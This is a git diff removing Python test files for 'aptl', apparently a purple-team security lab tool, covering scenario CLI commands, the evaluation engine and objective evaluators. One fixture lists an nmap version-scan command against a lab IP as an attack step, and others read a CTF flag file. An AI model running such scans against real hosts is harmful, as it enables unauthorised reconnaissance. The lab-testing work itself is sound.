test_custom_scenarios_dir(self, tmp_path): - project_dir = _write_scenario(tmp_path) - result = runner.invoke(app, [ - "list", - "--scenarios-dir", str(project_dir / "scenarios"), - ]) - assert result.exit_code == 0 - assert "test-scenario" in result.output - - -# --------------------------------------------------------------------------- -# show command -# --------------------------------------------------------------------------- - - -class TestShowCommand: - """Tests for 'aptl scenario show'.""" - - def test_show_scenario(self, tmp_path): - project_dir = _write_scenario(tmp_path) - result = runner.invoke(app, [ - "show", "test-scenario", - "--project-dir", str(project_dir), - ]) - assert result.exit_code == 0 - assert "Test Scenario" in result.output - assert "beginner" in result.output - - def test_show_not_found(self, tmp_path): - result = runner.invoke(app, [ - "show", "nonexistent", - "--project-dir", str(tmp_path), - ]) - assert result.exit_code == 1 - - -# --------------------------------------------------------------------------- -# validate command -# --------------------------------------------------------------------------- - - -class TestValidateCommand: - """Tests for 'aptl scenario validate'.""" - - def test_valid_file(self, tmp_path): - project_dir = _write_scenario(tmp_path) - result = runner.invoke(app, [ - "validate", - str(project_dir / "scenarios" / "test-scenario.yaml"), - ]) - assert result.exit_code == 0 - assert "Valid" in result.output - - def test_invalid_file(self, tmp_path): - bad_file = tmp_path / "bad.yaml" - bad_file.write_text("not a scenario") - result = runner.invoke(app, ["validate", str(bad_file)]) - assert result.exit_code == 1 - - def test_missing_file(self, tmp_path): - result = runner.invoke(app, [ - "validate", - str(tmp_path / "missing.yaml"), - ]) - assert result.exit_code == 1 - - -# --------------------------------------------------------------------------- -# start command -# --------------------------------------------------------------------------- - - -class TestStartCommand: - """Tests for 'aptl scenario start'.""" - - def test_start_scenario(self, tmp_path): - project_dir = _write_scenario(tmp_path) - result = runner.invoke(app, [ - "start", "test-scenario", - "--project-dir", str(project_dir), - ]) - assert result.exit_code == 0 - assert "Started scenario" in result.output - assert "Test Scenario" in result.output - - def test_start_creates_session_file(self, tmp_path): - project_dir = _write_scenario(tmp_path) - runner.invoke(app, [ - "start", "test-scenario", - "--project-dir", str(project_dir), - ]) - session_file = project_dir / ".aptl" / "session.json" - assert session_file.exists() - data = json.loads(session_file.read_text()) - assert data["scenario_id"] == "test-scenario" - assert data["state"] == "active" - - def test_start_creates_trace_context(self, tmp_path): - project_dir = _write_scenario(tmp_path) - runner.invoke(app, [ - "start", "test-scenario", - "--project-dir", str(project_dir), - ]) - ctx_file = project_dir / ".aptl" / "trace-context.json" - assert ctx_file.exists() - data = json.loads(ctx_file.read_text()) - assert len(data["trace_id"]) == 32 - - def test_start_rejects_double_start(self, tmp_path): - project_dir = _write_scenario(tmp_path) - runner.invoke(app, [ - "start", "test-scenario", - "--project-dir", str(project_dir), - ]) - result = runner.invoke(app, [ - "start", "test-scenario", - "--project-dir", str(project_dir), - ]) - assert result.exit_code == 1 - assert "already active" in result.output - - def test_start_not_found(self, tmp_path): - result = runner.invoke(app, [ - "start", "nonexistent", - "--project-dir", str(tmp_path), - ]) - assert result.exit_code == 1 - - -# --------------------------------------------------------------------------- -# start command — container validation -# --------------------------------------------------------------------------- - - -class TestStartContainerValidation: - """Tests for container profile validation when starting a scenario.""" - - def test_start_fails_when_required_profile_disabled(self, tmp_path): - """Scenario requiring soc should fail when soc is disabled.""" - project_dir = _write_scenario_with_containers( - tmp_path, required=["kali", "soc"] - ) - _write_config(project_dir, containers={"kali": True, "soc": False}) - result = runner.invoke(app, [ - "start", "test-scenario", - "--project-dir", str(project_dir), - ]) - assert result.exit_code == 1 - assert "soc" in result.output - assert "disabled profiles" in result.output - - def test_start_succeeds_when_all_profiles_enabled(self, tmp_path): - """Scenario requiring kali should succeed when kali is enabled.""" - project_dir = _write_scenario_with_containers( - tmp_path, required=["kali"] - ) - _write_config(project_dir, containers={"kali": True}) - result = runner.invoke(app, [ - "start", "test-scenario", - "--project-dir", str(project_dir), - ]) - assert result.exit_code == 0 - assert "Started scenario" in result.output - - def test_start_succeeds_with_no_config_file(self, tmp_path): - """Scenario requiring kali (on by default) works without aptl.json.""" - project_dir = _write_scenario_with_containers( - tmp_path, required=["kali"] - ) - # No aptl.json — defaults apply (kali=True) - result = runner.invoke(app, [ - "start", "test-scenario", - "--project-dir", str(project_dir), - ]) - assert result.exit_code == 0 - assert "Started scenario" in result.output - - def test_error_lists_all_missing_profiles(self, tmp_path): - """Error message should list every disabled profile.""" - project_dir = _write_scenario_with_containers( - tmp_path, required=["kali", "soc", "enterprise"] - ) - # Default config: soc=False, enterprise=False - result = runner.invoke(app, [ - "start", "test-scenario", - "--project-dir", str(project_dir), - ]) - assert result.exit_code == 1 - assert "soc" in result.output - assert "enterprise" in result.output - - -# --------------------------------------------------------------------------- -# status command -# --------------------------------------------------------------------------- - - -class TestStatusCommand: - """Tests for 'aptl scenario status'.""" - - def test_no_active_scenario(self, tmp_path): - result = runner.invoke(app, [ - "status", - "--project-dir", str(tmp_path), - ]) - assert result.exit_code == 0 - assert "No active scenario" in result.output - - def test_active_scenario_status(self, tmp_path): - project_dir = _write_scenario(tmp_path) - _start_session(project_dir) - - result = runner.invoke(app, [ - "status", - "--project-dir", str(project_dir), - ]) - assert result.exit_code == 0 - assert "test-scenario" in result.output - assert "active" in result.output - assert "Elapsed" in result.output - - -# --------------------------------------------------------------------------- -# stop command -# --------------------------------------------------------------------------- - - -class TestStopCommand: - """Tests for 'aptl scenario stop'.""" - - def test_no_active_scenario(self, tmp_path): - result = runner.invoke(app, [ - "stop", - "--project-dir", str(tmp_path), - ]) - assert result.exit_code == 1 - assert "No active scenario" in result.output - - def test_stop_scenario(self, tmp_path): - project_dir = _write_scenario(tmp_path) - _start_session(project_dir) - - result = runner.invoke(app, [ - "stop", - "--project-dir", str(project_dir), - ]) - assert result.exit_code == 0 - assert "Scenario stopped" in result.output - - def test_stop_clears_session(self, tmp_path): - project_dir = _write_scenario(tmp_path) - _start_session(project_dir) - - runner.invoke(app, [ - "stop", - "--project-dir", str(project_dir), - ]) - - session_file = project_dir / ".aptl" / "session.json" - assert not session_file.exists() - - def test_stop_shows_duration(self, tmp_path): - project_dir = _write_scenario(tmp_path) - _start_session(project_dir) - - result = runner.invoke(app, [ - "stop", - "--project-dir", str(project_dir), - ]) - assert "Duration:" in result.output - - def test_full_lifecycle(self, tmp_path): - """Test the complete start -> status -> stop flow.""" - project_dir = _write_scenario(tmp_path) - - # Start - result = runner.invoke(app, [ - "start", "test-scenario", - "--project-dir", str(project_dir), - ]) - assert result.exit_code == 0 - - # Status - result = runner.invoke(app, [ - "status", - "--project-dir", str(project_dir), - ]) - assert "test-scenario" in result.output - - # Stop - result = runner.invoke(app, [ - "stop", - "--project-dir", str(project_dir), - ]) - assert result.exit_code == 0 - assert "Scenario stopped" in result.output - - # Verify no active session - result = runner.invoke(app, [ - "status", - "--project-dir", str(project_dir), - ]) - assert "No active scenario" in result.output - - def test_stop_loads_dotenv_before_assembly(self, tmp_path): - """Verify .env is loaded into os.environ before assemble_run().""" - project_dir = _write_scenario(tmp_path) - _start_session(project_dir) - - # Write a .env file with known values - env_file = project_dir / ".env" - env_file.write_text( - "INDEXER_USERNAME=admin\n" - "INDEXER_PASSWORD=secret123\n" - "THEHIVE_API_KEY=hive-key-abc\n" - ) - - captured_env = {} - - original_assemble = None - - def _spy_assemble(**kwargs): - """Capture os.environ at the moment assemble_run is called.""" - import os as _os - captured_env["INDEXER_USERNAME"] = _os.environ.get("INDEXER_USERNAME") - captured_env["INDEXER_PASSWORD"] = _os.environ.get("INDEXER_PASSWORD") - captured_env["THEHIVE_API_KEY"] = _os.environ.get("THEHIVE_API_KEY") - return tmp_path / "runs" / "fake-run" - - with patch("aptl.cli.scenario.assemble_run", side_effect=_spy_assemble): - result = runner.invoke(app, [ - "stop", - "--project-dir", str(project_dir), - ]) - - assert result.exit_code == 0 - assert captured_env["INDEXER_USERNAME"] == "admin" - assert captured_env["INDEXER_PASSWORD"] == "secret123" - assert captured_env["THEHIVE_API_KEY"] == "hive-key-abc" - - def test_stop_warns_on_missing_dotenv(self, tmp_path, caplog): - """Verify graceful handling when .env doesn't exist.""" - project_dir = _write_scenario(tmp_path) - _start_session(project_dir) - - # Do NOT create a .env file - assert not (project_dir / ".env").exists() - - result = runner.invoke(app, [ - "stop", - "--project-dir", str(project_dir), - ]) - assert result.exit_code == 0 - assert "Scenario stopped" in result.output - - @LIVE_LAB - def test_stop_collects_soc_telemetry(self, tmp_path, caplog): - """Smoke: scenario stop loads .env and collectors query services. - - Requires a running lab (APTL_SMOKE=1). Copies the project .env - into a temp project dir, runs start/stop, and verifies that: - 1. The run directory is created with a manifest. - 2. No collector skipped due to empty API keys (the #184 bug). - 3. At least one key-gated collector (TheHive, MISP, Shuffle) - successfully queried its service — proving the credentials - from .env actually worked, not just that they were present. - """ - import logging - - project_dir = _write_scenario(tmp_path) - - # Copy real .env so collectors get actual API keys - real_env = Path(__file__).resolve().parent.parent / ".env" - assert real_env.exists(), f"Project .env not found at {real_env}" - shutil.copy(real_env, project_dir / ".env") - - # Start scenario - _start_session(project_dir) - - # Read session to get run_id - session_data = json.loads( - (project_dir / ".aptl" / "session.json").read_text() - ) - run_id = session_data["run_id"] - assert run_id, "Session should have a run_id" - - # Stop scenario — this triggers assemble_run with .env loaded - with caplog.at_level(logging.DEBUG, logger="aptl.collectors"): - result = runner.invoke(app, [ - "stop", - "--project-dir", str(project_dir), - ]) - assert result.exit_code == 0 - assert "Scenario stopped" in result.output - - # Verify run directory was created with manifest - run_dir = project_dir / "runs" / run_id - assert run_dir.is_dir(), f"Run directory not created: {run_dir}" - assert (run_dir / "manifest.json").exists(), "Missing manifest.json" - - # No collector must have skipped due to missing API keys. - # These skip messages mean os.getenv() returned "" — the #184 bug. - skip_messages = [ - "No TheHive API key, skipping", - "No MISP API key, skipping", - "No Shuffle API key, skipping", - ] - for skip_msg in skip_messages: - assert skip_msg not in caplog.text, ( - f"Collector skipped with empty API key: '{skip_msg}' — " - ".env was not loaded into os.environ before assemble_run()" - ) - - # At least one key-gated collector must have successfully queried - # its service. A success log like "Collected 0 MISP events" means - # the HTTP request worked with the .env credential (even if 0 - # results due to the short scenario window). "Failed to query" - # means the key was present but the service didn't respond — - # that proves the key was loaded but not that it's valid. - # - # Collector log patterns (from collectors.py): - # success: "Collected %d TheHive cases" - # failure: "Failed to query TheHive cases" - # skipped: "No TheHive API key, skipping case collection" - gated_collectors = { - "TheHive cases": "Failed to query TheHive cases", - "MISP events": "Failed to query MISP events", - "Shuffle executions": "Failed to query Shuffle executions", - } - succeeded = [ - name for name, fail_msg in gated_collectors.items() - if f"Collected " in caplog.text - and name in caplog.text - and fail_msg not in caplog.text - ] - assert succeeded, ( - "No key-gated collector successfully queried its service. " - "All collectors either skipped or failed HTTP requests. " - "Ensure at least one SOC service (TheHive, MISP, Shuffle) " - f"is healthy.\nCollector logs:\n{caplog.text}" - ) - - -# --------------------------------------------------------------------------- -# Attack step display tests -# --------------------------------------------------------------------------- - - -def _write_step_scenario(tmp_path: Path) -> Path: - """Write a unified scenario with attack steps and return project dir.""" - scenarios_dir = tmp_path / "scenarios" - scenarios_dir.mkdir(parents=True, exist_ok=True) - data = { - "metadata": { - "id": "step-scenario", - "name": "Step Scenario", - "description": "A scenario with attack steps", - "difficulty": "intermediate", - "estimated_minutes": 20, - "tags": ["test"], - "mitre_attack": { - "tactics": ["Reconnaissance"], - "techniques": ["T1595.002"], - }, - }, - "mode": "purple", - "containers": {"required": ["kali"]}, - "attack_chain": "Recon -> Exploit", - "steps": [ - { - "step_number": 1, - "technique_id": "T1595.002", - "technique_name": "Active Scanning", - "tactic": "Reconnaissance", - "description": "Scan the target", - "target": "victim", - "commands": ["nmap -sV 172.20.0.20"], - "expected_detections": [ - { - "product_name": "wazuh", - "analytic_uid": "1000001", - "severity_id": 3, - "description": "Port scan detected", - } - ], - "investigation_hints": ["Check Suricata alerts"], - }, - ], - } - path = scenarios_dir / "step-scenario.yaml" - path.write_text(yaml.dump(data, default_flow_style=False)) - return tmp_path - - -class TestStepDisplay: - """Tests for attack step display in scenario CLI commands.""" - - def test_list_shows_step_count(self, tmp_path): - project_dir = _write_step_scenario(tmp_path) - result = runner.invoke(app, [ - "list", - "--project-dir", str(project_dir), - ]) - assert result.exit_code == 0 - assert "step-scenario" in result.output - assert "1" in result.output # step count - - def test_show_displays_attack_steps(self, tmp_path): - project_dir = _write_step_scenario(tmp_path) - result = runner.invoke(app, [ - "show", "step-scenario", - "--project-dir", str(project_dir), - ]) - assert result.exit_code == 0 - assert "Attack Chain: Recon -> Exploit" in result.output - assert "Attack Steps:" in result.output - assert "Step 1" in result.output - assert "T1595.002" in result.output - assert "Active Scanning" in result.output - assert "Reconnaissance" in result.output - assert "nmap -sV 172.20.0.20" in result.output - assert "Expected Detections:" in result.output - assert "Port scan detected" in result.output - assert "Investigation Hints:" in result.output - - def test_validate_shows_step_count(self, tmp_path): - project_dir = _write_step_scenario(tmp_path) - result = runner.invoke(app, [ - "validate", - str(project_dir / "scenarios" / "step-scenario.yaml"), - ]) - assert result.exit_code == 0 - assert "0 objectives" in result.output - assert "1 steps" in result.output diff --git a/tests/test_engine.py b/tests/test_engine.py deleted file mode 100644 index f9fd59595..000000000 --- a/tests/test_engine.py +++ /dev/null @@ -1,531 +0,0 @@ -"""Tests for the scenario runtime engine.""" - -import asyncio -from pathlib import Path -from unittest.mock import MagicMock - -import pytest - -from aptl.core.engine import ScenarioEngine -from aptl.core.evaluators import EvaluationResult -from aptl.core.scenarios import ( - CommandOutputValidation, - ContainerRequirements, - Objective, - ObjectiveSet, - ObjectiveType, - ScenarioDefinition, - ScenarioMetadata, - ScenarioMode, - ScoringConfig, - WazuhAlertValidation, -) -from aptl.core.session import ScenarioSession - - -# --------------------------------------------------------------------------- -# Fixtures -# --------------------------------------------------------------------------- - - -@pytest.fixture -def scenario_with_evaluable() -> ScenarioDefinition: - """Scenario with both manual and auto-evaluable objectives.""" - return ScenarioDefinition( - metadata=ScenarioMetadata( - id="engine-test", - name="Engine Test", - description="Test scenario for engine", - difficulty="beginner", - estimated_minutes=30, - ), - mode=ScenarioMode.PURPLE, - containers=ContainerRequirements(required=["kali", "victim"]), - objectives=ObjectiveSet( - red=[ - Objective( - id="manual-obj", - description="Manual task", - type=ObjectiveType.MANUAL, - points=50, - ), - Objective( - id="cmd-obj", - description="Check command output", - type=ObjectiveType.COMMAND_OUTPUT, - points=100, - command_output=CommandOutputValidation( - container="kali", - command="cat /tmp/flag.txt", - contains=["FLAG{test}"], - ), - ), - ], - blue=[ - Objective( - id="wazuh-obj", - description="Detect alerts", - type=ObjectiveType.WAZUH_ALERT, - points=75, - wazuh_alert=WazuhAlertValidation( - query={"match_all": {}}, - min_matches=1, - ), - ), - ], - ), - scoring=ScoringConfig(passing_score=100, max_score=225), - ) - - -@pytest.fixture -def session_mgr(tmp_path: Path) -> ScenarioSession: - return ScenarioSession(tmp_path / ".aptl") - - -@pytest.fixture -def active_session( - session_mgr: ScenarioSession, scenario_with_evaluable: ScenarioDefinition -): - return session_mgr.start(scenario_with_evaluable) - - -def _mock_otel(mocker): - """Mock all OTel calls used by the engine.""" - mocker.patch("aptl.core.engine.init_tracing") - mocker.patch("aptl.core.engine.shutdown_tracing") - mocker.patch("aptl.core.engine.get_tracer", return_value=MagicMock()) - mocker.patch("aptl.core.engine.make_parent_context", return_value=MagicMock()) - mock_span = MagicMock() - mocker.patch("aptl.core.engine.create_child_span", return_value=mock_span) - return mock_span - - -# --------------------------------------------------------------------------- -# evaluate_once tests -# --------------------------------------------------------------------------- - - -def test_evaluate_once_records_completions( - mocker, session_mgr, active_session, scenario_with_evaluable -): - """evaluate_once records newly-passed objectives in session.""" - async def mock_evaluate(obj, started_at): - return EvaluationResult( - objective_id=obj.id, - passed=True, - detail="Mocked pass", - checked_at="2026-03-26T10:01:00+00:00", - ) - - mocker.patch("aptl.core.engine.evaluate_objective", side_effect=mock_evaluate) - - engine = ScenarioEngine(scenario_with_evaluable, session_mgr) - results = asyncio.run(engine.evaluate_once()) - - # Should evaluate cmd-obj and wazuh-obj (not manual-obj) - assert len(results) == 2 - assert all(r.passed for r in results) - - session = session_mgr.get_active() - assert "cmd-obj" in session.completed_objectives - assert "wazuh-obj" in session.completed_objectives - assert "manual-obj" not in session.completed_objectives - - -def test_evaluate_once_skips_completed( - mocker, session_mgr, active_session, scenario_with_evaluable -): - """evaluate_once skips already-completed objectives.""" - session_mgr.record_objective_complete("cmd-obj") - - call_count = 0 - - async def mock_evaluate(obj, started_at): - nonlocal call_count - call_count += 1 - return EvaluationResult( - objective_id=obj.id, - passed=True, - detail="Mocked pass", - checked_at="2026-03-26T10:01:00+00:00", - ) - - mocker.patch("aptl.core.engine.evaluate_objective", side_effect=mock_evaluate) - - engine = ScenarioEngine(scenario_with_evaluable, session_mgr) - results = asyncio.run(engine.evaluate_once()) - - assert call_count == 1 - assert len(results) == 1 - assert results[0].objective_id == "wazuh-obj" - - -def test_evaluate_once_no_pending( - mocker, session_mgr, active_session, scenario_with_evaluable -): - """evaluate_once returns empty when all evaluable objectives are done.""" - session_mgr.record_objective_complete("cmd-obj") - session_mgr.record_objective_complete("wazuh-obj") - - engine = ScenarioEngine(scenario_with_evaluable, session_mgr) - results = asyncio.run(engine.evaluate_once()) - assert results == [] - - -# --------------------------------------------------------------------------- -# run loop tests -# --------------------------------------------------------------------------- - - -def test_run_exits_when_all_complete( - mocker, session_mgr, active_session, scenario_with_evaluable -): - """Engine loop exits when all evaluable objectives are complete.""" - async def mock_evaluate(obj, started_at): - return EvaluationResult( - objective_id=obj.id, - passed=True, - detail="Mocked pass", - checked_at="2026-03-26T10:01:00+00:00", - ) - - mocker.patch("aptl.core.engine.evaluate_objective", side_effect=mock_evaluate) - _mock_otel(mocker) - - engine = ScenarioEngine( - scenario_with_evaluable, session_mgr, poll_interval=0.1 - ) - - async def drive(): - shutdown = asyncio.Event() - return await engine.run(shutdown) - - result = asyncio.run(drive()) - - assert result.evaluation_cycles >= 1 - assert "cmd-obj" in result.completed_objectives - assert "wazuh-obj" in result.completed_objectives - assert result.score is not None - assert not result.timed_out - - -def test_run_exits_on_shutdown( - mocker, session_mgr, active_session, scenario_with_evaluable -): - """Engine loop exits when shutdown event is set.""" - async def mock_evaluate(obj, started_at): - return EvaluationResult( - objective_id=obj.id, - passed=False, - detail="Not yet", - checked_at="2026-03-26T10:01:00+00:00", - ) - - mocker.patch("aptl.core.engine.evaluate_objective", side_effect=mock_evaluate) - _mock_otel(mocker) - - engine = ScenarioEngine( - scenario_with_evaluable, session_mgr, poll_interval=0.1 - ) - - async def drive(): - shutdown = asyncio.Event() - - async def signal_shutdown(): - await asyncio.sleep(0.15) - shutdown.set() - - asyncio.create_task(signal_shutdown()) - return await engine.run(shutdown) - - result = asyncio.run(drive()) - - assert result.evaluation_cycles >= 1 - assert not result.timed_out - - -def test_run_exits_on_timeout( - mocker, session_mgr, active_session, scenario_with_evaluable -): - """Engine loop exits when timeout is reached.""" - async def mock_evaluate(obj, started_at): - return EvaluationResult( - objective_id=obj.id, - passed=False, - detail="Not yet", - checked_at="2026-03-26T10:01:00+00:00", - ) - - mocker.patch("aptl.core.engine.evaluate_objective", side_effect=mock_evaluate) - _mock_otel(mocker) - - engine = ScenarioEngine( - scenario_with_evaluable, - session_mgr, - poll_interval=0.05, - timeout_minutes=0.001, # ~0.06 seconds - ) - - async def drive(): - shutdown = asyncio.Event() - return await engine.run(shutdown) - - result = asyncio.run(drive()) - assert result.timed_out is True - - -# --------------------------------------------------------------------------- -# get_score tests -# --------------------------------------------------------------------------- - - -def test_get_score(session_mgr, active_session, scenario_with_evaluable): - """get_score returns current score snapshot.""" - session_mgr.record_objective_complete("cmd-obj") - - engine = ScenarioEngine(scenario_with_evaluable, session_mgr) - score = engine.get_score() - - assert score is not None - assert score.total_score == 100 # cmd-obj is 100 pts - assert score.passed is True # passing_score is 100 - - -# --------------------------------------------------------------------------- -# OTel span emission -# --------------------------------------------------------------------------- - - -def test_run_emits_otel_spans( - mocker, session_mgr, active_session, scenario_with_evaluable -): - """Engine emits OTel evaluation spans for each objective checked.""" - async def mock_evaluate(obj, started_at): - return EvaluationResult( - objective_id=obj.id, - passed=True, - detail="Pass", - checked_at="2026-03-26T10:01:00+00:00", - ) - - mocker.patch("aptl.core.engine.evaluate_objective", side_effect=mock_evaluate) - mock_span = _mock_otel(mocker) - create_span = mocker.patch( - "aptl.core.engine.create_child_span", return_value=mock_span - ) - - engine = ScenarioEngine( - scenario_with_evaluable, session_mgr, poll_interval=0.1 - ) - - async def drive(): - shutdown = asyncio.Event() - return await engine.run(shutdown) - - asyncio.run(drive()) - - assert create_span.call_count >= 2 - mock_span.end.assert_called() - - -# --------------------------------------------------------------------------- -# Progress callback -# --------------------------------------------------------------------------- - - -def test_run_invokes_progress_callback( - mocker, session_mgr, active_session, scenario_with_evaluable -): - """Engine invokes the progress callback after each cycle.""" - async def mock_evaluate(obj, started_at): - return EvaluationResult( - objective_id=obj.id, - passed=True, - detail="Pass", - checked_at="2026-03-26T10:01:00+00:00", - ) - - mocker.patch("aptl.core.engine.evaluate_objective", side_effect=mock_evaluate) - _mock_otel(mocker) - - progress_calls = [] - - def on_progress(cycle, results, score): - progress_calls.append((cycle, len(results), score.total_score)) - - engine = ScenarioEngine( - scenario_with_evaluable, - session_mgr, - poll_interval=0.1, - on_progress=on_progress, - ) - - async def drive(): - shutdown = asyncio.Event() - return await engine.run(shutdown) - - asyncio.run(drive()) - - assert len(progress_calls) >= 1 - assert progress_calls[0][0] == 1 - - -# --------------------------------------------------------------------------- -# Edge cases -# --------------------------------------------------------------------------- - - -def test_run_no_active_session(session_mgr, scenario_with_evaluable, mocker): - """Engine returns empty result when no session is active.""" - _mock_otel(mocker) - - engine = ScenarioEngine(scenario_with_evaluable, session_mgr) - - async def drive(): - shutdown = asyncio.Event() - return await engine.run(shutdown) - - result = asyncio.run(drive()) - assert result.completed_objectives == [] - assert result.evaluation_cycles == 0 - - -def test_run_session_disappears_mid_loop( - mocker, session_mgr, active_session, scenario_with_evaluable -): - """Engine exits gracefully if session file is deleted during run.""" - call_count = 0 - original_get_active = session_mgr.get_active - - def get_active_then_none(): - nonlocal call_count - call_count += 1 - # First call succeeds (initial check), second returns None (mid-loop) - if call_count <= 1: - return original_get_active() - return None - - mocker.patch.object(session_mgr, "get_active", side_effect=get_active_then_none) - _mock_otel(mocker) - - engine = ScenarioEngine( - scenario_with_evaluable, session_mgr, poll_interval=0.1 - ) - - async def drive(): - shutdown = asyncio.Event() - return await engine.run(shutdown) - - result = asyncio.run(drive()) - assert result.evaluation_cycles >= 1 - - -def test_run_progress_callback_error_does_not_crash( - mocker, session_mgr, active_session, scenario_with_evaluable -): - """Engine continues if progress callback raises.""" - async def mock_evaluate(obj, started_at): - return EvaluationResult( - objective_id=obj.id, - passed=True, - detail="Pass", - checked_at="2026-03-26T10:01:00+00:00", - ) - - mocker.patch("aptl.core.engine.evaluate_objective", side_effect=mock_evaluate) - _mock_otel(mocker) - - def bad_callback(cycle, results, score): - raise RuntimeError("callback crashed") - - engine = ScenarioEngine( - scenario_with_evaluable, - session_mgr, - poll_interval=0.1, - on_progress=bad_callback, - ) - - async def drive(): - shutdown = asyncio.Event() - return await engine.run(shutdown) - - result = asyncio.run(drive()) - # Engine should complete despite callback error - assert result.evaluation_cycles >= 1 - assert "cmd-obj" in result.completed_objectives - - -def test_evaluate_once_handles_evaluator_exception( - mocker, session_mgr, active_session, scenario_with_evaluable -): - """evaluate_once logs and skips objectives that raise exceptions.""" - call_count = 0 - - async def mock_evaluate(obj, started_at): - nonlocal call_count - call_count += 1 - if obj.id == "cmd-obj": - raise RuntimeError("evaluator exploded") - return EvaluationResult( - objective_id=obj.id, - passed=True, - detail="Pass", - checked_at="2026-03-26T10:01:00+00:00", - ) - - mocker.patch("aptl.core.engine.evaluate_objective", side_effect=mock_evaluate) - - engine = ScenarioEngine(scenario_with_evaluable, session_mgr) - results = asyncio.run(engine.evaluate_once()) - - # cmd-obj raised, wazuh-obj succeeded - assert len(results) == 1 - assert results[0].objective_id == "wazuh-obj" - - -def test_get_score_no_session(session_mgr, scenario_with_evaluable): - """get_score returns None when no session is active.""" - engine = ScenarioEngine(scenario_with_evaluable, session_mgr) - assert engine.get_score() is None - - -def test_run_state_transition_errors_are_handled( - mocker, session_mgr, active_session, scenario_with_evaluable -): - """Engine handles ScenarioStateError from set_evaluating/set_active gracefully.""" - from aptl.core.scenarios import ScenarioStateError - - async def mock_evaluate(obj, started_at): - return EvaluationResult( - objective_id=obj.id, - passed=True, - detail="Pass", - checked_at="2026-03-26T10:01:00+00:00", - ) - - mocker.patch("aptl.core.engine.evaluate_objective", side_effect=mock_evaluate) - _mock_otel(mocker) - - # Make state transitions fail - mocker.patch.object( - session_mgr, "set_evaluating", - side_effect=ScenarioStateError("already evaluating"), - ) - mocker.patch.object( - session_mgr, "set_active_from_evaluating", - side_effect=ScenarioStateError("not in evaluating"), - ) - - engine = ScenarioEngine( - scenario_with_evaluable, session_mgr, poll_interval=0.1 - ) - - async def drive(): - shutdown = asyncio.Event() - return await engine.run(shutdown) - - result = asyncio.run(drive()) - # Engine should complete despite state transition errors - assert result.evaluation_cycles >= 1 - assert "cmd-obj" in result.completed_objectives diff --git a/tests/test_evaluators.py b/tests/test_evaluators.py deleted file mode 100644 index ca22c7ae1..000000000 --- a/tests/test_evaluators.py +++ /dev/null @@ -1,406 +0,0 @@ -"""Tests for objective evaluators.""" - -import asyncio -from unittest.mock import MagicMock - -import pytest - -from aptl.core.evaluators import ( - EvaluationResult, - evaluate_command_output, - evaluate_file_exists, - evaluate_objective, - evaluate_wazuh_alert, -) -from aptl.core.scenarios import ( - CommandOutputValidation, - FileExistsValidation, - Objective, - ObjectiveType, - WazuhAlertValidation, -) - - -# --------------------------------------------------------------------------- -# Fixtures -# --------------------------------------------------------------------------- - -SESSION_STARTED_AT = "2026-03-26T10:00:00+00:00" - - -@pytest.fixture -def wazuh_validation() -> WazuhAlertValidation: - return WazuhAlertValidation( - query={ - "bool": { - "must": [ - {"match": {"rule.groups": "authentication_failed"}}, - ] - } - }, - min_matches=5, - time_window_seconds=600, - ) - - -@pytest.fixture -def command_validation() -> CommandOutputValidation: - return CommandOutputValidation( - container="kali", - command="cat /tmp/flag.txt", - contains=["FLAG{test_123}"], - ) - - -@pytest.fixture -def file_validation() -> FileExistsValidation: - return FileExistsValidation( - container="victim", - path="/var/www/html/flag.txt", - contains="FLAG{found}", - ) - - -# --------------------------------------------------------------------------- -# Wazuh alert evaluator -# --------------------------------------------------------------------------- - - -def test_wazuh_alert_pass(mocker, wazuh_validation): - """Wazuh alert passes when min_matches are met.""" - mocker.patch( - "aptl.core.evaluators._curl_json", - return_value={ - "hits": {"total": {"value": 10}, "hits": []}, - }, - ) - result = asyncio.run(evaluate_wazuh_alert( - "detect-auth", wazuh_validation, SESSION_STARTED_AT - )) - assert result.passed is True - assert result.objective_id == "detect-auth" - - -def test_wazuh_alert_fail_insufficient_matches(mocker, wazuh_validation): - """Wazuh alert fails when fewer than min_matches found.""" - mocker.patch( - "aptl.core.evaluators._curl_json", - return_value={ - "hits": {"total": {"value": 2}, "hits": []}, - }, - ) - result = asyncio.run(evaluate_wazuh_alert( - "detect-auth", wazuh_validation, SESSION_STARTED_AT - )) - assert result.passed is False - assert "2 matches" in result.detail - - -def test_wazuh_alert_unreachable(mocker, wazuh_validation): - """Wazuh alert fails gracefully when indexer is unreachable.""" - mocker.patch("aptl.core.evaluators._curl_json", return_value=None) - result = asyncio.run(evaluate_wazuh_alert( - "detect-auth", wazuh_validation, SESSION_STARTED_AT - )) - assert result.passed is False - assert "unreachable" in result.detail.lower() - - -def test_wazuh_alert_integer_total(mocker, wazuh_validation): - """Handle integer total format from some ES versions.""" - mocker.patch( - "aptl.core.evaluators._curl_json", - return_value={"hits": {"total": 8, "hits": []}}, - ) - result = asyncio.run(evaluate_wazuh_alert( - "detect-auth", wazuh_validation, SESSION_STARTED_AT - )) - assert result.passed is True - - -# --------------------------------------------------------------------------- -# Command output evaluator -# --------------------------------------------------------------------------- - - -def test_command_output_pass(mocker, command_validation): - """Command output passes when all required strings are present.""" - mock_result = MagicMock() - mock_result.returncode = 0 - mock_result.stdout = "Some output\nFLAG{test_123}\nMore output" - mocker.patch("aptl.core.evaluators._run_cmd", return_value=mock_result) - - result = asyncio.run(evaluate_command_output("find-flag", command_validation)) - assert result.passed is True - - -def test_command_output_missing_string(mocker, command_validation): - """Command output fails when a required string is missing.""" - mock_result = MagicMock() - mock_result.returncode = 0 - mock_result.stdout = "No flag here" - mocker.patch("aptl.core.evaluators._run_cmd", return_value=mock_result) - - result = asyncio.run(evaluate_command_output("find-flag", command_validation)) - assert result.passed is False - assert "Missing required string" in result.detail - - -def test_command_output_nonzero_exit(mocker, command_validation): - """Command output fails when command returns non-zero.""" - mock_result = MagicMock() - mock_result.returncode = 1 - mock_result.stdout = "" - mocker.patch("aptl.core.evaluators._run_cmd", return_value=mock_result) - - result = asyncio.run(evaluate_command_output("find-flag", command_validation)) - assert result.passed is False - - -def test_command_output_container_unreachable(mocker, command_validation): - """Command output fails when docker exec fails.""" - mocker.patch("aptl.core.evaluators._run_cmd", return_value=None) - result = asyncio.run(evaluate_command_output("find-flag", command_validation)) - assert result.passed is False - assert "container unreachable" in result.detail.lower() - - -def test_command_output_regex_match(mocker): - """Command output passes with regex match.""" - validation = CommandOutputValidation( - container="kali", - command="echo test", - contains=[], - regex=r"FLAG\{[a-z_]+\}", - ) - mock_result = MagicMock() - mock_result.returncode = 0 - mock_result.stdout = "Found: FLAG{secret_data}" - mocker.patch("aptl.core.evaluators._run_cmd", return_value=mock_result) - - result = asyncio.run(evaluate_command_output("regex-obj", validation)) 